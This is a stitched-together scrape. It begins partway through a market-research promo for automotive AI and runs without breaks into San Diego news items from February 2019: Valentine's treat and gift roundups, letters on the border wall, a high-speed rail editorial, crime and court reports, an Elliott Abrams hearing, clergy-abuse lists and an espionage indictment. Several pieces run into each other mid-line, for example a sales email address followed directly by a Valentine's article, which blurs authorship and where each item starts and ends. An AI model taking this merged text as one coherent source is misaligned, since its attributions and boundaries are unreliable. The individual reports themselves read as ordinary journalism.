Controller and processors

Communication interfaces



Automotive Artificial Intelligence Market, by Vertical:



Oil & gas

Power and energy

Automotive

Aerospace

Industrial automation

Transportation

Others



By 2023, North America is expected to be the dominant region in the Automotive Artificial Intelligence market primarily due to the presence of major manufacturers in this region. In addition availability of sophisticated technology to develop artificial intelligence programs are much more easily accessible in this region as compared to others. Growing expectance of autonomous vehicles in the U.S. has significantly contributed towards the growth of the automotive artificial intelligence market in this region. Favorable government norms coupled with Ford Motor Company, General Motors, and Fiat-Chrysler Automotive leading the charge in the development of the artificial intelligence in automotive by constantly upgrading their product will have a positive impact on the market.



The report will make detailed analysis mainly on the development environment, Market size, development trends, operation situation and future development trends of Automotive Artificial Intelligence Market on the basis of current situation of the industry in 2019 so as to make full comprehension and judgment on the competitive situation of Automotive Artificial Intelligence Market Carrier and assist manufacturers and investment organization to better grasp the development course of Automotive Artificial Intelligence Market.



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The 360-degree Automotive Artificial Intelligence overview based on a global and regional level.

Market share, value, volume, and production capacity is analyzed on global, regional and country level.

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Mob: +91-750-707-8687



sales@marketinsightsreports.com



irfan@marketinsightsreports.comEvery year, Valentines Day presents a delicious treasure hunt challenge for foodies looking to go beyond boring boxed candy. With an exquisite array of cuisines and culinary talent in San Diego, that challenge has been met by chefs and local businesses.

PACIFIC has rounded up some of the top treats to try this Valentines Day, whether you are heading out for a night on the town or snuggling up at home.

Start Valentines Day out with heart-shaped everything bagels and strawberry chocolate chip bagels at Spill the Beans. And dont forget the Almond-Rose Cappuccino from Barista Connor Nerat, which features espresso with housemade almond-rose water syrup, finished with a pink heart.

555 Market St., downtown, 619.233.3836, spillthebeanssd.com

Heart-shaped bagels from Spill the Beans. (Courtesy photo)

For a more boozy start to the day, head to Breakfast Republic for its Red Rose Mimosa infused with rose syrup and cranberry. Or stop in the Fig Tree Cafe for the Bouquet of Roses Mimosa Flight featuring Blush Rose, Lavender Rose, Yellow Rose and Red Rose tasters.

Breakfast Republic: multiple locations, breakfastrepublic.com

Fig Tree Cafe: multiple locations figtreeeatery.com

Warm buns, warm heart is sure to be the newest catch phrase thanks to the adorable Valentines Day-themed character buns at Harumama. Featuring happy and smiling heart faces, the bao buns encase a chocolate filling, and will be available through Feb. 14.

Little Italy: 1901 Columbia St., 619.269.7122; Carlsbad: 2958 Madison St., 760.720.7874, harumamasd.com

Heart-shaped charachter buns from Harumama. (Courtesy photo)

Celebrate love Parisian-style with Le Parfait Paris and its decadent Valentines worthy pastries. Reds and pinks explode in vibrant color with mouthwatering chocolate-covered strawberry macarons, fruit tarts, and the creme de la creme: heart-shaped strawberry mousse topped with a white chocolate glaze and shaved chocolate.

Multiple locations, leparfaitparis.com

Heart-shaped pastry from Le Parfait Paris. (Courtesy photo)

Head to Liberty Market for a range of indulgent V-Day treats from Executive Pastry Chef Lori Sauer at Crafted Baked Goods. Create a box for your bae including rose-tinted cupcakes, cakes and strawberry and forest berry ice cream filled bon bons. A night of sweet love is sure to follow.

2820 Historic Decatur Rd., Point Loma, 619.546.8885, craftedsd.com

If cruising for a date is on your Valentines roster, head first to The Oceanaire Seafood Room for a little liquid courage in the form of The Flirt. Crafted with vodka, Grand Marnier, strawberry cordial, fresh lime juice, edible glitter and Prosecco, youll be feeling fabulous and sexy  and glittery.

400 J St., downtown, 619.858.2277, theoceanaire.com

The Flirt from The Oceanaire Seafood Room. (Courtesy photo)

If snuggling under blankets sounds like the perfect Valentines Day, grab a take-home pizza kit from Sammys Woodfired Pizza & Grill. Including fresh dough, mozzarella, house-made tomato sauce, basil, and instructions, the kit is available for purchase throughout February. In addition to a full tummy, youll also get a full heart as $1 from every pizza kit sold will benefit the American Heart Association.

Multiple locations, sammyspizza.com

While youre on the couch (or bed), keep the love sweet with a heart-shaped CinnaBread from Woodstocks Pizza. Appropriately decadent for the holiday, the dessert pizza is made with brown sugar, cinnamon and icing with toppings ranging from fresh strawberries and blueberries to an ooey gooey Nutella drizzle. Available for dine-in, take-out or delivery

College Area: 6145 El Cajon Blvd., Suite 3P, 619.265.0999, woodstockssd.com; Pacific Beach: 1221 Garnet Ave., 858.642.6900, woodstockspb.com

Speaking of grab-and-go options for home, pop into Barons Market for heart-shaped cheesecakes by local Incredible Cheesecake Company, and chocolate dipped long-stem strawberries (hand-dipped Feb. 12-14 only).

Multiple locations, baronsmarket.com

If heading to the movies is in your Valentines Day rotation, we can promise youve never had an experience like this. Check out Theatre Box for an array of love-inspired treats, including the housemade donuts in the shapes of hearts with classic sayings, like Be Mine or Kiss Me. Wash down the sweet goodness with Insane Milkshakes including the Naughty Insane Milkshake, a cookies and cream concoction with whipped cream, dark chocolate-dipped Rice Krispies Treats, chocolate sprinkles and dark chocolate-covered strawberries drizzled with white chocolate and served in a dark red chocolate ganache-dipped mug covered in chocolate hearts and sliced strawberries. Did you get all of that? But it doesnt stop there the Valentines Fondue For Two is a pink and white chocolate fondue with strawberry chocolate shavings and a gummy heart, with bites of red velvet cake, brownies, vanilla cake, gummy kisses, gummy hearts, strawberries and bananas for dipping. Ask about all of the other available sweet(heart) treats available around the lovebird holiday.

701 Fifth Ave., downtown, 619.814.2225, theatrebox.comFlowers, candy, and dinner on Valentines Day may be romantic and make-out worthy, but this Feb. 14, try titillating the senses with a few new gift ideas. Its time to spice things up and make your baes pulse quicken.

From the sexy to the erotic, weve rounded up a few unique pleasure bombs sure to make hearts race and libidos soar.

Ignite fiery passions with a range of THC and CBD products from Torrey Holistics aimed at turning up your sex factor. Try the Arouse mini dose pen ($55) or a Passion dose pin ($100) and administer 2.25 mg doses of THC with every click. The Yummi Karma Love Potion Tincture acts as a natural aphrodisiac with 150 mg of THC, 60 mg of CBD per bottle ($38), which also has guarana, ginseng, maca root, turmeric and damiana leaf mixed in. Sip on the Sensuali-Tea with 7 mg of THC, rose petal, cardamom and hibiscus while nibbling on a THC Dark Chocolate Bar from Kiva Confections (100 mg per bar/5 mg per serving; $25).

10671 Roselle St., #100, 858.558.1420, torreyholistics.com/menu

Turn up the steam this year with massages, chocolate, champagne and a little one-on-one private time. Book a date at Skinsational Spa and choose from the Couples Rejuvenator, Skinsational Journey or Wellness packages, the latter comes complete with hot stone massages, facials and lunch in suite. Designed specifically for lovebirds, the Romantic Couples Suite features dual massage tables, a fireplace and a 12-head Swiss rain shower. All packages come with chocolate, champagne and 30 minutes of alone time in the suite. Pricing starts at $295.

300 Carlsbad Village Dr., Carlsbad, 760.434.8118, skinsationalspa.com/services/packages/couples-escape

Entice your sweetheart with an evening of dirty talk with this bacchanalian ode to all things hedonistic. So Say We All, a literary and performing arts non-profit organization, presents Vamp Dirty Talk Guilty Pleasures on Feb. 28 at Whistle Stop Bar. $5 suggested donation; 21+

2236 Fern St., South Park, 619.284.6784, sosayweallonline.com/get-ready-for-dirty-talk

Get in the mood with sexy cocktails this Valentines Day, courtesy of the Rose Petal Infused Vodka from 619 Spirits. Hand-infused with rose petals from Fresh Origins in San Marcos, the vodka is made from sugar cane, making it naturally gluten free for all types of lovers. Stop in for a Cosmo at the tasting room before evening plans or purchase a bottle for in home libations. $30

3015 Lincoln Ave., North Park, 619.269.2757, 619spirits.com

Whether you are in the throes of romantic bliss or going it alone, amp up the heat factor with a range of sex toys by Sweet Vibrations, custom made to bring screams of delight in the bedroom. With names like The Perfect Match, Girls Best Friend, and TuLips, the big O is just a buzz away.

sweetvibes.toys

Speaking of gratification, for those living the single life this holiday, treat yourself with AquaVies Self Love Package. Relax by the rooftop pool at The Westgate Hotel after a 50-minute Elevated Wellness Massage, 50-minute Elevated Custom Facial, and complimentary glass of champagne to help you celebrate your own fabulousness. $199Re Trump can still win (Feb. 1): I was aghast at reading Marc Thiessens plan for President Trump to ignore the negotiations concerning the national budget and institute a plan for Trump to present a non-negotiable counter offer containing demands for budgeting security expenses totaling higher than $5.7 billion. Lets suppose Trump actually tries this.

First: Trump would only accept, or record, an estimate with a number he didnt feel was accurate (high enough). According to Thiessen, the skys the limit. So much for reality and honesty.

Second: Given Trumps habit of lying at every opportunity, and changing numbers outrageously while refusing to give any source for those numbers, we would not be able to believe any estimate he demanded in place of a wall, a wall that is a blatant political effort with no support from any Homeland Security threat or any real national security threat.

Ron Peterka

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Ramona

We need the wall, and it has to be built, and we want to build it fast. So says Donald Trump.

Really?

Lets review the scoreboard. For two years, from 2016 to 2018, Donald Trump and the Republican Party had control of all the branches of government: the Senate, the House and the Supreme Court. Neither Trump nor the GOP proposed building a multi-billion dollar wall.

Why not ?

Now, after the Democratic Party won a majority of seats in the House of Representatives, Trump shut the government down and made building a wall the major political issue of the day. Hmmmmm!

Might this just be political theater to rile up his base while stoking fear and division for the 2020 presidential campaign?

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You decide.

Frank Ferrone

El Cajon

Re Trump takes battle over border wall to El Paso (Feb. 12): Question: What would it take to scale President Trumps $5 billion-plus wall?

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Answer: A ladder worth about $150.

Roger Gee

San Diego

Letters and commentary policy

The U-T welcomes and encourages community dialogue on important public matters. Please visit this page for more details on our letters and commentaries policy. You can email letters@sduniontribune.com or leave a comment below.

Follow @UTLetters on Twitter and UTOpinion on Facebook.It only took 10 years after California voters narrowly approved $9.95 billion in bond seed money for what was then a $33 billion statewide high-speed rail network, but a governor is finally acknowledging the projects major problems. Gavin Newsom used his first State of the State address to declare that while he supported completion of an under-construction route from Bakersfield to Merced, there simply isnt a path to get from Sacramento to San Diego, let alone from San Francisco to L.A. Hallelujah. In his speech and a series of subsequent tweets, Newsom emphasized that he wasnt abandoning high-speed rail, but he cant walk his welcome criticism back.

Newsom crammed a lot into 43 minutes, about California Environmental Quality Act reforms, housing, homelessness, prescription drugs, water availability, rent stability and more, which state residents and this board will chew on in coming days and weeks. But by far the biggest news in his speech was his reality check on the state and the nations largest infrastructure project. Lets be real, he said. It would cost too much and take too long.

As Ralph Vartabedian of the Los Angeles Times has reported, theres at least a $50 billion gap in funding to build a now-$77 billion San Francisco-Los Angeles route, based on cost estimates from the unreliable California High-Speed Rail Authority. In November, Vartabedian also cited this fact: A project that was then 10 years old was 13 years behind schedule. How is such incompetence even possible?

Newsoms candor was in sharp contrast with former Gov. Jerry Brown. He liked to ridicule project critics as declinists who were scared of the future  while never addressing the long list of concerns that began building about the bullet train just days after the passage of Proposition 1A in 2008. Thats when the California High-Speed Rail Authority released an overdue business plan that said the project was unlikely to attract private investors unless they received both financial and political commitments from state officials that government would share the risks to their participation. In other words, they would get subsidies if revenue forecasts fell short. But under Proposition 1A, such subsidies were illegal. The authority had this information in the spring of 2008 but never shared it with the public until after the measure passed  even as then-Gov. Arnold Schwarzenegger and other advocates told voters it would be easy to get the private investment necessary to finish the project.

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This original sin has been compounded by years more of dishonesty from state rail officials, most notably the periodic claims that the large international firms which were interested in building and/or managing the project wanted to invest in it. No, they werent  not without the prospect of subsidies.

The authoritys credibility hit rock bottom in 2015. Thats when Vartabedian reported that the authority had refused to make public a 2013 analysis from Parsons Brinckerhoff, its main project contractor, that predicted a $9 billion cost overrun on the bullet trains initial 300-mile segment. Not only did the authority continue to issue cost estimates that didnt reflect this warning, its CEO  Jeff Morales  claimed he didnt know about the report. If Newsom is serious about bringing transparency to the rail authority, he should remove every single senior official who countenanced this cover-up.

Despite Newsoms talk of good jobs and investment, his decision to seek completion of the Merced-Bakersfield segment is baffling. That wouldnt link Silicon Valley jobs with potentially cheap housing in the Central Valley, which he said last year was a great idea. Its also hard to see how ridership could be adequate to cover the high cost of buying and maintaining bullet trains and upkeep of the high-speed rail line  remember, subsidies are illegal.

Whatever Newsoms calculations, his decision to be honest about this sinkhole of a project deserves praise. Better late than never, to be honest about it.

Twitter: @sdutIdeas

Facebook: San Diego Union-Tribune Ideas & OpinionA driver involved in several hit-and-run crashes Tuesday evening on Interstate 5 in San Diego led police on a chase through National City and Chula Vista before his car stopped and officers arrested him, authorities said.

The incident began a few minutes before 5 p.m. on southbound I-5 north of downtown San Diego, according to San Diego police Lt. Julie Epperson and Officer John Buttle.

Several 911 callers reported a red Ford Focus station wagon had been involved in multiple hit-and-run collisions, Epperson told OnScene TV.

California Highway Patrol officers notified San Diego police, who stationed patrol officers on the freeway near Front Street in downtown to await the car, according to Epperson and Buttle. The patrol officers attempted to stop the Focus, but the driver refused to yield, continuing south on the rim of his front left tire.

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After leading San Diego officers out of the city and through National City at speeds around 45 mph, the car  which featured at least six Washington Redskins stickers and a Redskins license plate frame  became disabled and came to a stop south of state Route 54 near the E Street off-ramp in Chula Vista, Epperson told OnScene TV.

Police arrested the driver, a 63-year-old Imperial Beach man, and were evaluating him for possibly driving under the influence, Epperson said. Neither he nor any officers were injured in the chase, and authorities were investigating whether any other motorists in the hit-and-run collisions were hurt.

UPDATE - SB I-5 at SR-54, all lanes have been reopened to traffic. #SDCaltransAlert  Caltrans San Diego (@SDCaltrans) February 13, 2019

The three right lanes of southbound I-5 at SR-54 remained closed until about 6:25 p.m., according to Caltrans.

Twitter: @Alex_Riggins

(619) 293-1710

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alex.riggins@sduniontribune.comA man in a trench coat, armed with a high-powered rifle unleashed a hail of gunfire into a Hillcrest restaurant Tuesday night, sending employees and customers scrambling for cover, but injuring no one, police said.

About 20 minutes after bullets shattered the windows of The Asian Bistro on University Avenue, officers detained the suspected shooter, later identified as Stefano Markell Parker.

San Diego Mayor Kevin Faulconer said at a Wednesday news conference that police investigators are looking into whether the shooting was a hate crime. Detectives found at least one homophobic comment on Parkers Facebook page, police said.

On Jan. 31, Parker wrote, Who told all these gayfers it was safe to come outside.....? Hillcrest has long been recognized as a cornerstone of the citys LGBTQ community.

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We pride ourselves on being a very diverse city that celebrates unique culture, and that is never going to change, Faulconer said. We will stand together to denounce violence, and we will stand together to support our brothers and sisters in the LGBTQ community.

Parker, 29, was located and detained about four blocks from the restaurant. A discarded gun and some gun magazines were also found in the area. He is being held in county jail on suspicion of attempted murder.

Several 911 callers reported the shooting just before 7:40 p.m. near University and Fourth avenues, a bustling area lined with eateries and bars, police said.

At least nine people were inside the restaurant when the gunman opened fire and then lowered the rifle and calmly walked away, San Diego police Officer John Buttle said.

Investigators found about 20 rifle shell casings at the scene, Brown said.

Its quite a blessing when... that hail of gunfire that went out, there was nobody hit, San Diego police Lt. Andra Brown told San Diego News Video. There were several patrons inside the business, and employees, and nobody was struck.

Some people inside the restaurant reported being hit by shattered glass, but any wounds were superficial and drew no blood, Brown said.

The shooting prompted a huge law enforcement response, with patrol officers from around the city rushing to the scene as a police helicopter circled overhead.

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Officers surrounded the area, focusing south of the shooting site, where witnesses saw the gunman heading. As police were searching, someone reported seeing a man disrobing nearby. Officers found the clothing, which matched what was worn by the gunman, discarded in an alley.

They later located Parker, who was unarmed at the time, in an alley between Fourth and Fifth avenues near Walnut Avenue, police said. The gun they located in the area was not reported stolen, but it also wasnt registered to Parker, who is a felon.

Police said Wednesday that he had previously been arrested on suspicion of homicide in Alabama. It was unclear Wednesday what charges Parker had been convicted of, but police said he served several years behind bars.

Mayor Kevin Faulconer speaks with the co-chairs of his LGBT Advisory Council, Nicole Murray-Ramirez and Susan Jester, following a press conference at the San Diego Police Department headquarters in downtown San Diego. (Sam Hodgson / San Diego Union-Tribune)

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Nicole Murray-Ramirez, a longtime LGBTQ activist, said the shooting came after a series of events already had the Hillcrest community on edge.

About a month ago, the mayors LGBTQ advisory board discussed reports that young men in trucks were going by gay bars shouting homophobic slurs, Murray-Ramirez said. Then, last week, two plaques underneath the Pride Flag, which tell the history of the community, were vandalized.

When this happened, we were stunned, but to be honest, not surprised, he said. Ive been an activist for more than 50 years and it seems to me that theres been a normalization of peoples prejudices and biases and hates and I think that should concern every San Diegan  every American.

According to public records and social media profiles, Parker owned Vital Waters, a company based in Birmingham, Alabama, and was chief executive officer of Aquatech Diving Services, a commercial diving company  also based in Birmingham that he launched in 2017.

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Aquatech is described on its website as the first black-owned commercial diving company in the U.S. The business offers a variety of diving services including nuclear plant maintenance, marine construction and oil spill cleanup.

The Alabama native trained in commercial diving at South Central Louisiana Technical College and Interdive, a company based in the United Kingdom, accordign to his LinkedIn profile.

Parker frequently posted to his Facebook account, touching on everything from diets to jobs. In January, he began posting about living in San Diego and expressed shock at the long wait lists for rental apartments.

The day of the shooting, Parker wrote a long, somewhat rambling post about life journeys and obstacles.

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For me, I feel like my childhood interpretation of freedom has been much trampled and a bit destroyed, he wrote. So my process to grasp a personal understanding of freedom, to regain freedom, may be of a somewhat of a different approach then the approaches used by others.

It ended with, Dont get this post misunderstood.

Anyone with information about the shooting was asked to call San Diego police at (619) 531-2000 or San Diego County Crime Stoppers at (888) 580-8477.

Staff writer Teri Figueroa contributed to this report.

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Twitter: @Alex_Riggins

(619) 293-1710

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alex.riggins@sduniontribune.com

UPDATES:

5:58 p.m.: This article was updated with more information after city and police leaders held a press conference.

2:21 p.m.: This article was updated with additional details from public records and social media sites.

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8:15 a.m., Feb. 13: This article was updated with additional details.

10:45 p.m., Feb. 12: This article was updated with additional details.

This article was originally published at 8:45 p.m., Feb. 12, 2019.Federal authorities investigating a firearms trafficking case served multiple search warrants in San Diego County Wednesday.

Among the locations searched was the sprawling backcountry estate of San Diego jeweler Leo Hamel in Jamul, NBC 7 reported.

The U.S. Bureau of Alcohol, Tobacco, Firearms and Explosives said several searches were being conducted throughout the county due to a firearms trafficking investigation, but declined to disclose locations or names. The FBI was also investigating.

Hamel could not be reached for comment.

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Hamel is an advisory board member of San Diego County Gun Owners, a political action committee advocating for gun rights.

Leo is a member, a volunteer, and a friend, executive director Michael Schwartz said in a statement Wednesday. We have no further details and no further comment.

Hamel is a well-known name in San Diego, with television commercials featuring him and his family for his local jewelry empire specializing in fine gemstones, new and pre-owned luxury watches, estate jewelry and engagement rings.

His business, which he started in 1980, is anchored at his Old Town showroom. Agents were also seen there Wednesday morning, according to NBC.

Hamel, a Republican, waded into politics in 2016 with a run for the 71st Assembly District but dropped out of the race after only a month, citing the desire to spend more time with his family.

I just dont think that Sacramento is composed of people who actually understand business, that understand liberty, that think about our freedoms, he said at the time.

kristina.davis@sduniontribune.com

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Twitter: @kristinadavisEvery February for years, Carrie Cave  formerly Carrie McGonigle  would drive to a remote spot north of Escondido, where her daughter Amber Dubois died, to decorate a large tree with ribbons and lights.

This year, a decade after Amber disappeared  which shook Escondido, then gripped the region a year later with the discovery she had been murdered by a stranger Cave said she will do something different.

She plans to visit a friend in the hospital and decorate there, a quiet celebration of her daughters memory.

Cave, 50, said she has forgiven the killer so she can move forward. But she never forgets Amber, who would be 24 now. She and Ambers father, Maurice Moe Dubois  they divorced several years before Amber was taken  each say they are finding peace.

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Amber Dubois (Courtesy of Carrie Cave)

Wednesday marks 10 years since the 14-year-old freshman vanished while walking to Escondido High School on Feb. 13, 2009. The man who abducted her, registered sex offender John Albert Gardner III, cornered Amber on a quiet street and forced her into his car.

He drove the girl to a secluded spot, raped and stabbed her.

Inside 90 minutes, Amber was dead. It would be a year before anyone knew that for sure.

In 2010, after Gardner had abducted and killed a second North County teen, Chelsea King, he pleaded guilty to raping and murdering both girls, as well an assault on a third victim, and was sentenced to consecutive terms of life in prison without parole.

When Amber vanished, her mother was fierce and relentless. She sought clues everywhere.

After Ambers remains were found, Cave formed a search and rescue organization. Ambers father pushed for legislative change targeting police investigations and sex offenders.

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A decade later those activities have faded. Cave recently moved into a new home on the outskirts of northern Escondido with her daughter and now-husband, whom she had been living with when Amber disappeared. Moe Dubois and his longtime girlfriend moved to an Oregon hamlet and bought a seaside tackle shop.

Helping others

After Gardners arrest, but before his sentencing, Cave confronted her daughters killer in jail, and insisted that he tell her what happened. He cried as he told her the details  including that Amber had told him he would not get away with it.

Knowing how she died, it was a relief, Cave said last week. I could live my life. And I forgave.

When the case was behind her, Cave assembled a group of volunteers and launched Team Amber Rescue. She also got a yellow Labrador, which she named after her slain daughter, and trained the animal to search.

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In 2011, Cave helped search for missing nursing student Michelle Le in Northern California. The dog, with Cave by her side, found Les remains.

Amber the dog is 9 years old now and no longer healthy enough for missions. That part of their lives is in the past.

I had to start everything over

Moe Dubois lived in Orange County when his daughter disappeared, but he was involved in his daughters life. He said her disappearance and death devastated him.

For a while, Dubois worked with families and organizations that searched for missing people. He also successfully pushed for legislation, mostly related to law enforcement, such as creating a checklist to provide police investigators guidelines and resources during the initial hours of a missing-person investigation.

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The work helped, but he was still unsettled.

It took a complete change of everything to get through this, Dubois, 49, said in a telephone interview this week. I had to start everything over.

About five years ago, Dubois, who worked as an electrical engineer, and his longtime girlfriend Rebecca Smith moved to a fishing village  population 382 people in the last census  on the central Oregon coast. He bought a tackle shop with a view of the water.

I left an engineers life to sell dead fish, he said with a laugh. I may smell a little worse, but I am happier.

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Folks in town know about Amber. The shop has a bus stop in front of it and opens its doors to children waiting for the school bus. Dubois said he is protective of the children, watches out for them.

And he smiles when he thinks of his daughter.

The fact that she is gone wont remove that smile, Dubois said. She put it there when I had her with me.

A investigation that went nowhere

Throughout 2009, Ambers photo was everywhere in North County  her blue eyes peering out from missing signs on light posts and in store windows.

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Ambers disappearance frustrated Escondido police. And each day, when there were no new leads, it was hard to hold onto hope, Escondido Police Chief Craig Carter said this week.

Carter was a lieutenant when the girl disappeared, handling the media queries and becoming the face of the police investigation and task force. He said the investigation went in two directions, chasing the possibility that shed run away and the possibility of foul play.

Any motives or potential leads, they just kept going to a dead end, Carter said. That is a little unusual.

A year passed. Then on Feb. 25, 2010, 17-year-old Chelsea King went missing. An avid runner, she had gone for a jog at Rancho Bernardo Community Park near Lake Hodges when she was attacked.

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This time, there were clues. Searchers found Chelseas underwear near the running trail. DNA on them led investigators to Gardner.

Chelseas body was found in a shallow grave near the lake.

Within days, Gardner admitted killing Amber. He took detectives to her remains in the community of Pala, about 30 miles north of Escondido.

Ten years later, Carter said, Ambers abduction has shaped the Police Departments approach to such disappearances.

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I can tell you that when we have a very unusual missing person case, we will start that task-force mentality very quickly, Carter said.

Helping gets me through

When Amber disappeared, she lived with her mother, her mothers boyfriend, and their daughter in a two-story home just blocks from school.

Several years ago, the couple married. In recent weeks, they and their now 15-year-old daughter  who was 5 when big sister Amber was taken  moved to the outskirts of Escondido.

They have nearly 2 acres of land. Sitting on the front porch last week, Cave said Amber would have loved it here.

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The family built stalls and an arena for horses. They own three, board three more and train yet another. Cave finds joy in riding them, training them, taking them to rodeos.

Some of the new house is a remodel in progress, but the guest room is done.

Cave said it was easy to decorate, with a framed drawing of Amber and photos of the girl and her then-baby sister. There are other remembrances, and several figurines of wolves, Ambers favorite animal.

Framed on one wall is a single sheet of paper, covered in drawings, inside jokes and expressions of love. Amber made it for her mothers 40th birthday, just months before she was taken. Its among Caves favorite memories of her daughter.

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Cave said her heart hurts for her surviving daughter, who is now older than Amber was when she died.

Her life would be so much different if Amber was still here, Cave said. She would have an older sibling  I think thats what kills me the most.

The search and rescue team faded away, but Cave still wants to help people. She understands what it is to work through pain.

Last year, she reached out to a stranger, a woman whose teen daughter had been struck by a car and killed. The two grieving mothers grew close.

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There were times when Cave encouraged her new friend to get out of bed and others when she advised that it was OK to stay under the covers. It helped her friend, Cave said. But it helped her, too.

Its that kind of stuff, she said, that really gets me through.

teri.figueroa@sduniontribune.com

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(760) 529-4945

Twitter: @TeriFigueroaUTIn his first appearance in Congress as special U.S. envoy for Venezuela, Elliott Abrams on Wednesday defended the Trump administrations seemingly stalled efforts to oust President Nicolas Maduro, saying the authoritarian rulers time is up.

There is a storm brewing inside the Maduro regime, said Abrams, a veteran diplomat best known for his role in the Iran-Contra scandal of the late 1980s. He will not be able to weather it much longer.

In a sometimes combative hearing before the House Foreign Affairs Committee, Abrams described a diplomatic and political effort aimed at driving a wedge between Maduro and his top military commanders on one side, and the civilian population and lower ranks of the army on the other.

Abrams said analysts has detected cracks in Maduros support, indicating the approach might be working, but he declined to go into detail in a public setting.

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To increase pressure on Maduro, the administration has slapped sanctions on Venezuelan officials and income sources such as oil exports. Abrams said the State Department will revoke U.S. visas for judges on Maduros Supreme Court. It previously revoked visas for members of the pro-Maduro parliament.

The Trump administration recognized opposition leader Juan Guaido as Venezuelas interim president on Jan. 23, and Secretary of State Michael R. Pompeo appointed Abrams to his post two days later. Most of Latin America and Europe also has recognized Guaidos shadow government.

Maduro has refused to step down, however, and his grip on power appears to have tightened despite large-scale protests in a country roiled by political and economic turmoil.

Abrams was an unusual choice for the job, and not just because he denounced Trump in a magazine piece titled When You Cant Stand Your Candidate during the 2016 presidential race.

During the Reagan administrations Iran-Contra scandal, which revolved around the illegal sale of arms to Iran to help support rebels trying to overthrow a leftist regime in Nicaragua, Abrams pleaded guilty to two counts of withholding information from Congress as part of a plea agreement. He was pardoned by President George H.W. Bush in 1992.

Abrams was interrupted twice at the start of his testimony by protesters who chanted against staging a coup in Venezuela. They were removed by security guards.

When Abrams concluded his opening statement, another protester jumped up and shouted, War criminal! He, too, was removed.

Lawmakers urged Abrams to persuade the administration to admit more refugees from Venezuela and to consider giving those already here temporary protected status, a category that shields specific groups of nonresidents from deportation. Trump has ordered those protections removed for several groups, including Salvadorans and Haitians.

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More than 3 million Venezuelans are believed to have fled their country in recent years, creating a refugee crisis in the region.

Several Democratic lawmakers, including the committee chairman, Rep. Eliot Engel of New York, expressed concern that Trump has publicly floated the idea of sending U.S. troops into Venezuela.

This is not the path  the United States is pursuing, Abrams responded. He added, We always take the position that all options are on the table.

That plays right into the hands of the dictator who is our adversary, Rep. William Keating (D-Mass.) snapped back.

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Use of force is not the preferred path and not the path we are going down, Abrams reiterated.

Asked to pledge that the Trump administration would not send U.S. troops into Venezuela without consulting Congress, Abrams said he was not in a position to do so.

Two Democrats, Rep. Joaquin Castro of Texas and Rep. Adriano Espaillat of New York, revived Abrams Iran-Contra past to question his ability to perform his current job.

Castro asked if the Trump administration has sent weapons to Venezuelas opposition. When Abrams gave an emphatic No, Castro asked, Can we trust your testimony today?

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Castro noted that Abrams previous troubles involved supplying lethal weapons to rebels in Nicaragua against the will of Congress.

Tempers flared when Espaillat said the baggage Abrams carried disqualified him to lead the anti-Maduro effort.

Abrams, who served as an assistant secretary of State from 1981-89, angrily said that numerous military dictatorships were replaced by civilian governments in that period.

He added that not a single Latin American official he has met since becoming special envoy has brought up his controversial past.

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Abrams grew red in the face when Rep. Ilhan Omar (D-Minn.) recounted his statements from the past that attempted to discredit as communist propaganda journalists reports of massacres by U.S.-trained troops in El Salvador.

Ive been attacked! he shouted at one point, when Omar would not let him speak to defend himself.

tracy.wilkinson@latimes.com

For more on international affairs, follow @TracyKWilkinson on TwitterNew Jerseys five Roman Catholic dioceses listed more than 180 priests Wednesday who have been credibly accused of sexually abusing minors over a span of several decades, joining more than two dozen other states that have named suspected abusers in the wake of a landmark grand jury report in Pennsylvania last year.

The lists released Wednesday identified priests and deacons who served in the dioceses of Camden, Trenton, Metuchen and Paterson and the archdiocese of Newark. Many priests on the lists are dead, and others have been removed from ministry.

Cardinal Joseph Tobin, the archbishop of Newark, which listed 63 former priests, said in a statement that he hoped the disclosure will help bring healing to those whose lives have been so deeply violated.

Camdens diocese listed 56 priests and one deacon; Trentons diocese named 30 priests; the Paterson diocese listed 28; and Metuchens diocese named nine plus two others who are the subject of civil investigations.

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State Atty. Gen. Gurbir Grewal formed a task force in the fall to conduct a criminal investigation into sexual abuse by clergy in the state, shortly after a Pennsylvania grand jury report identified more than 300 predator priests and more than 1,000 victims in that state.

While this is a positive first step towards transparency and accountability, I hope this spirit of openness continues during the course of our ongoing investigation and in response to our requests for records and information, Grewal said in a statement Wednesday.

Also on Wednesday, Virginias Roman Catholic Diocese of Richmond published a list of 42 priests with a credible and substantiated allegation of sexual abuse against a child.

Newarks list includes Theodore McCarrick, a former Newark archbishop who served as Washingtons archbishop from 2000 to 2006. McCarrick was removed from public ministry in June.

The lists released by the diocese dont include details about specific allegations or when they are alleged to have happened; rather, any details about the named priests and the crimes of which they are accused come from court records or previously published reports.

Several priests who served in the Newark archdiocese have been accused of molesting boys as part of their volunteer work with Boy Scout troops, according to published reports. Others named in the release were arrested, convicted or pleaded guilty and were returned to service after probation or treatment, according to court records and published reports.

Carmen Sita changed his name to Gerald Howard after being sentenced to probation and receiving treatment and began serving as a priest in the Jefferson City, Mo., diocese where he was assigned to a parish attached to a school. He was later accused of abusing teenage boys and was convicted a second time. The Missouri diocese reported Howard is incarcerated.

Former priest Richard Mieliwocki, who was convicted and sentenced to probation, disappeared after starting counseling and resurfaced when he was accused of molesting teenagers as a counselor in an inpatient substance abuse program.

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Another priest named Wednesday, Manuel Gallo Espinoza, was indicted by a grand jury in 2016 after admitting to at least one allegation of abuse. He fled to Ecuador and a warrant was issued for his arrest.

The lists dont include religious order priests, such as Jesuits, who may serve in parishes or schools but are not ordained by the diocese. A victims compensation fund announced this week in New Jersey also wont cover claims against religious order priests.

Mitchell Garabedian, an attorney who has represented alleged victims in New Jersey, said the release of names isnt enough.

Given the vast number of priests named as sexual abusers and the span of time in which the sexual abuse took place, it is fair to state that the archdiocese and dioceses in New Jersey have forgotten how to be moral and kind with children, he said in a statement.

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Nearly 2,000 accused clergy members and others nationwide have been identified since and including the Pennsylvania grand jury report, a review by the Associated Press found. The abuse scandal has rocked dioceses in other countries as well.A former U.S. Air Force counterintelligence specialist who defected to Iran has been charged with revealing classified information as well as research about her former colleagues to representatives of the Tehran government, prosecutors said Wednesday.

A Justice Department indictment charges Monica Elfriede Witt, who defected in 2013 and is currently at-large, along with four Iranian hackers who, prosecutors say, used the information she provided to target former colleagues in the U.S. intelligence community.

The indictment says the four Iranians were acting on behalf of the government-linked Iranian Revolutionary Guard. All four remain at large.

It is a sad day for America when one of its citizens betrays our country, said Assistant Attorney General John Demers, the head of the Justice Departments national security division.

